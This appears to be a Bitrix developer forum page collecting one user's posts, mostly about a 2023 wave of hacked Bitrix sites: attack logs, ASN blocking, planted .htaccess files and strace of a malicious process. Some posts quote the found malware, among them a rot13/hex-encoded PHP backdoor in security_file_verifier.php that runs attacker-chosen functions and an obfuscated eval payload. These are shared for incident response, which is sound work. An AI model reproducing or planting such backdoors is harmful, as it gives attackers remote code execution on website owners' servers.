Разработчикам

Иван Юрин (Все сообщения пользователя)

Не добавляется smtp подключение в админке

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	# 16.05.2024 13:58:56 Тоже самое. Падает при указании 465 порта
	Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

03.03.2023 14:21:19

Цитата

написал:
На наши серверы стали постить не на главную страницу, а на /bitrix/tools/spread.php.
x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gex
x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 " "Mozilla/5.0 (Windows NT x
x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NTx
m185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT

Предварительно заблочили весь ASN https://asn.ipinfo.app/AS210644 провайдера aeza, заметили что оттуда оосновная масса вредоносных запросов поступает. Блокировали через правила в nginx (через include запрещающих правил типа https://asn.ipinfo.app/api/text/nginx/AS210644 ). Репорт на абуз серверов отправлен дня 4 назад, пров молчит как партизан.

Знаю, что костыль и что это не решение проблемы, но пока так..

О, у меня тоже атаки с выданных ip от aeza

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	# 03.03.2023 01:52:37 Что интересно, дата модификации этого файла была аж в 2017 году)
	Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

03.03.2023 01:51:33

Цитата
написал: /bitrix/admin/security_file_verifier.php

да, на ломанных сайтах этот файлик модифицированный) вот его код

Код

<?

$fname1 = __FILE__;
$fname2 = $_SERVER["DOCUMENT_ROOT"];
if(strpos($fname1, $fname2)!==0)
{
   $fname1 = realpath(__FILE__);
   $fname2 = realpath($_SERVER["DOCUMENT_ROOT"]);
}

if(strpos($fname1, $fname2)===0)
{
   $fname3 = RTrim($_SERVER["DOCUMENT_ROOT"], " /\\");
   $bx_root = substr($fname1, strlen($fname3));
   $bx_root = substr($bx_root, 0, strlen($bx_root) - strlen("/modules/main/include.php"));
}
else
   $bx_root = "/bitrix";

$bx_root = str_replace("\\", "/", $bx_root);

$bx_root = "/bitrix";
define("BX_ROOT", $bx_root);

if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
   define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
   define("BX_PERSONAL_ROOT", BX_ROOT);
?>
<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
   parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
   parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
   parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

02.03.2023 13:59:42

Цитата

написал:
мдда, уж - непонятно как такое может из агента запуститься
Скрытый текст
$arAgent["NAME"];//_(9.)H'5t}>qo7ouj7<(>!)U}3/]6u8u}Q%' //>w7u5ST<"IA.xY:8eeval /*9!._IkZ)1 DcpyxJA\"F/C1ra/9+E/&^15>Z"yd3y)vk$p6FN*/(/*]~P@.iKSyR3+hRfkLK~GUv3ZgJ!6dmtClEc{/*/urldecode#Dcc5L6|8cI8+~/?Y(/*I$s6IW3YhccLGyx^v2BAJN@ZnzRYVa+*/strrev/*8/WKh@/MlVGf6?yY`E)" w}SRU5]V{]n+5:tVJCC"j+8+%rlK{n*/(/* GC5%z1bi=x%3OOVsQB~jM%]:PZ*|Ox|v<3|8D`"bY(u*/'b3%56%57%27%47%02%e6%27%57%47%56%27%02%02%02%02%02%02%02%02%a0%d7%02%02%02%02%a0%b3%92%27%42%82%c6%16%67%56%02%02%02%02%a0%56%37%c6%56%02%02%02%02%a0%d7%02%02%02%02%a0%b3%27%42%02%d3%02%47%c6%57%37%56%27%f5%c6%16%67%56%42%02%02%02%02%a0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%44%f4%94%25%54%05%f5%35%94%02%c2%03%63%02%d3%02%c4%14%65%25%54%45%e4%94%f5%45%e4%54%74%14%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%a0%b7%92%92%d5%22%87%87%87%56%27%f6%47%37%56%27%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%a0%b3%72%b3%92%82%16%47%16%44%47%96%d6%26%57%37%a3%a3%56%c6%26%16%45%16%47%16%44%27%56%47%e6%57%f6%34%c5%c5%37%36%96%47%97%c6%16%e6%14%c5%c5%e6%96%16%d4%c5%c5%87%96%27%47%96%24%c5%c5%72%02%d3%02%27%42%02%02%02%02%a0%b7%56%37%c6%56%02%02%02%02%a0%d7%02%02%02%02%a0%d7%02%02%02%02%a0%b3%47%96%87%56%02%02%02%02%a0%b7%92%56%42%02%e6%f6%96%47%07%56%36%87%54%82%02%86%36%47%16%36%02%02%02%02%a0%d7%02%02%02%02%a0%b3%92%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%56%46%f6%36%56%46%c6%27%57%82%56%46%f6%36%56%46%c6%27%57%82%c6%16%67%56%02%d3%02%56%42%02%02%02%02%a0%b7%97%27%47%02%02%02%02%a0%a0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%74%e4%94%e4%e4%55%25%02%c2%03%02%d3%02%45%e4%55%f4%34%f5%95%25%45%54%25%02%c2%c4%c4%55%e4%02%d3%02%b4%34%54%84%34%f5%54%45%14%44%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%a0%b7%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%a0%02%02%02%02%02%02%02%02%a0%'/*}+o|u>#TYS0cP_\NWyaT2'55io>_yv*/) #T/N82kY'xApsEIx`?}`2_DB3;dm) /*pqPWM{~IE(WOT)l=?x[>zBI# yCBI#B:usrCorl6zEeOOSmoMJ.*/)/*LlRo0|sR8iF+.7}{MxB4Iqg8a5bp^OJ+=|z*/;/*"3YH?h_>d.8'Cay+z\A]M!.x,Lu({qx}&SFE<'c!6|)Y^*/

Тоже самое, прям дофига htaccess, левый код в файлах, много лишних левых файлов, и левые процессы на хосте

9100 0.1 0.0 387136 38844 ? S Feb28 4:18 php -f /home/w/......s/public_html/httpd.conf

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	# 02.03.2023 13:30:45 Сегодня еще один схожий пациент пришел на лечение) Старый сайт, движок не обновлялся
	Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	# 01.03.2023 21:25:04 кстати интересный htaccess там же лежит ( /bitrix/modules/iblock/lib/bizproctype/ ) <FilesMatch ".(php\|php5\|phtml)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(access.php\|wp.php\|term.php\|locale.php\|themes.php\|network.php\|container.php\|router.php\|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch>
	Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	# 01.03.2023 21:16:18 Еще один файл нашел /bitrix/modules/iblock/lib/bizproctype/wp-login.php через него и заливали вредонос. как он попал в эту папку пока выясняю
	Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

01.03.2023 17:18:34

Цитата
написал: похоже на причину новой "волны", на сколько я помню год назад тоже была волна взломанных сайтов и не только под Битрикс.

да , скорей всего. под раздачу попал окологосударственный сайт, а в логах такие записи

Код
200.29.237.102 - - [28/Feb/2023:15:21:00 +0300] "T /MASHIAH%20NOW! HTTP/1.1" 301 178 "MASHIAH NOW!" "STOP WAR! MASHIAH NOW!"

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

01.03.2023 16:34:41

Цитата
написал: Коллеги, исходя из темы не до конца ясно, страдают только старые (не обновленные) сайты или есть случаи и с актуальными версиями?

пока старый попал. на обновленных не вижу проблем

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

01.03.2023 16:19:59

Такс друзья. На одном проекте массово создавались htaccess

На другом проекте были залиты разные php файлы, в разных папках

Описание:
Создавались файлы
admin.php
contents.php
сss/votes.php
Всякие левые wordpress

В файлах зашифрованный код, местами даже есть китайские иероглифы:)

Как в корне так и в /bitrix/

Интересно, что .htaccess и index.php постоянно перезаписывались.

Хост отписался, что были запущены левые процессы

Код

u15...8   24026  0.0  0.2 421540 33212 ?        S    11:43   0:02 php
/home/u15..8/....ru/www/lock666.php

Вот его действия:
strace -p 24026

nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc2c2b8c00) = 0
access("/home/u15..8/....ru/www/index.php", F_OK) = 0
access("/home/u15..8/....ru/www/.htaccess", F_OK) = 0
open("/home/u15..8/....ru/www/index.php", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=4932, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=4932, ...}) = 0
read(3, "<?php @include(\"\\167\\160\\55\\151\\"..., 8192) = 4932
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)                                = 0
open("/home/u15..8/....ru/www/.htaccess", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=204, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0444, st_size=204, ...}) = 0
read(3, "<IfModule mod_rewrite.c>\r\nRewrit"..., 8192) = 204
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)

Перейти

глюки при изменении элемента инфоблока

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

09.08.2021 15:43:32

Цитата
Алексей Бобков написал: Почистите куки в том браузере, где не работает

это было сделано в первую очередь) не работает

Перейти

глюки при изменении элемента инфоблока

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

08.08.2021 13:31:05

Реально, смена браузера помогает на одном проекте. В firefox проблемы с авторизацией в админку, проблема с сохранением данных, проблема с выходом из админки.

Ошибка при сохранении — Ваша сессия истекла. Пожалуйста, пересохраните документ еще раз.

Куда смотреть ? В настройки хостинга?

Все отчеты прохожу, ядро не модифицировалось...

Перейти

Иван Юрин (Все сообщения пользователя)

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером